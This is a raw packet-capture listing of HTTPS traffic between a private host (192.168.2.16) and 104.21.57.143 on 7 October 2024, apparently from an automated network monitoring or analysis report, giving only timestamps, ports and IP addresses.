Oct 7, 2024 20:59:07.521478891 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521552086 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.521579981 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521645069 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.521701097 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521764994 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.523776054 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.523823023 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.523864985 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.523879051 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.523906946 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.524756908 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.524807930 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.524833918 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.524848938 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.524876118 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.525106907 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.525146961 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.525182962 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.525222063 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.525235891 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.576014042 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.576073885 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.576122046 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.576138020 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.576188087 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.601279974 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.601397991 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.601414919 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.601495981 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.601999044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.602057934 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.602102041 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.602113962 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.602138996 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.602171898 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.604491949 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.604554892 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.604598999 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.604613066 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.604641914 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.604660988 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.604676962 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.604749918 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.604808092 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.604883909 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.605644941 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.605699062 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.605741024 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.605755091 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.605782032 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.607372999 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.607450962 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.607465982 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.607481956 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.607526064 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.607646942 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.607700109 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.607717037 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.607733965 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.607772112 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.658087015 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.658770084 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.658829927 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.658894062 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.658926964 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.658965111 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.658967018 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.659018040 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.659032106 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.659065962 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.659624100 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.659703016 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.659713984 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.659739017 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.659770966 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.660918951 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.661021948 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.661043882 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.686845064 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.686976910 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.687006950 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.687036991 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.687114954 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.687129974 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.687154055 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.687273979 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.687282085 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.687303066 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.687334061 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.687382936 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.687495947 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.687510967 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.687962055 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.688040972 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.688054085 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.688102961 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.688173056 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.688185930 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.688209057 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.688281059 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.688293934 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.688425064 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.688493967 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.688507080 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.690027952 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.690155983 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.690175056 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.690191031 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.690294981 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.690329075 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.690427065 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.690440893 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.691458941 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.691545963 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.691566944 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.691592932 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.691648960 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.691673994 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.691715956 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.691787958 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.693053961 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.693150997 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.693164110 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.693222046 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.693273067 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.693347931 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.693722963 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.693811893 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.693825006 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.693876982 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.693933964 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.693948030 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.694020033 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.694088936 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.694102049 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.694180012 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.694242001 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.694253922 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.694281101 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.694350004 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.694364071 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.694386959 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.694463968 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.694478035 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.738099098 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.742105007 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.742209911 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.742217064 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.742238998 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.742284060 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.743015051 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.743087053 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.743102074 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.743155003 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.743168116 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.743196964 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.743222952 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.768059015 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.768145084 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.768162966 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.768181086 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.768212080 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.768230915 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.768238068 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.768264055 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.768307924 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.768332958 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.771667957 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.771749020 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.771784067 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.771859884 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.771893024 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.771959066 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.771991014 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772059917 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772082090 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772145987 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772193909 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772259951 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772413015 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772499084 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772537947 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772579908 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772624969 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772636890 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772666931 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772684097 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772691965 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772706985 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772767067 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772793055 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772859097 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772880077 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.772936106 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.772964001 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773019075 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.773052931 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773114920 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.773155928 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773221016 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.773261070 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773325920 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.773372889 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773431063 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.773480892 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773544073 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.773588896 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773654938 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.773741007 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773797989 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.773919106 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.773982048 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.774065018 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.774118900 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.774147987 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.774159908 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.774190903 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.774240017 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.774303913 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.774317026 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.818061113 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.824664116 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.824738026 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.824800968 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.824817896 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.824847937 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.824877977 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.825908899 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.825963974 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.826018095 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.826030016 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.826061964 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.826081991 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.856729984 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.856772900 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.856837988 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.856885910 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.856916904 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.856960058 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.856992960 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857034922 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857074022 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857088089 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857120037 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857141018 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857171059 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857212067 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857244968 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857258081 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857286930 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857305050 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857307911 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857331038 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857392073 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857486010 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857553959 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857708931 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857769012 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857793093 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.857855082 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.857964993 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.858036041 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.858108997 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.858146906 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.858191967 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.858202934 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.858231068 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.858335972 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.858383894 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.858412981 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.858427048 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.858460903 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.903532028 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.903660059 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.903690100 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.903784037 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.907660007 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.907819986 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.908566952 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.908648968 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.908658028 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.908674002 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.908718109 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.936157942 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.936304092 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.936383963 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.936407089 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.936444044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.936451912 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.936469078 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.936482906 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.936544895 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.936563015 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.936640024 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.936709881 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.936790943 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.936877012 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.936959982 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.936979055 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.937052965 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.937098026 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.937174082 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.937201023 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.937284946 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.937299967 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.937371016 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.937412024 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.937488079 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.937539101 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.937607050 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.937676907 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.937752008 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.937799931 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.937866926 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.937983036 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.938062906 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.938062906 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.938110113 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.938137054 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.938138008 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.938188076 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.938209057 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.938229084 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.938282967 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.938838959 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.938920021 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.939028025 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.939110994 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.939127922 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.939193964 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.939274073 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.939342976 CEST	49741	443	192.168.2.16	104.21.57.143
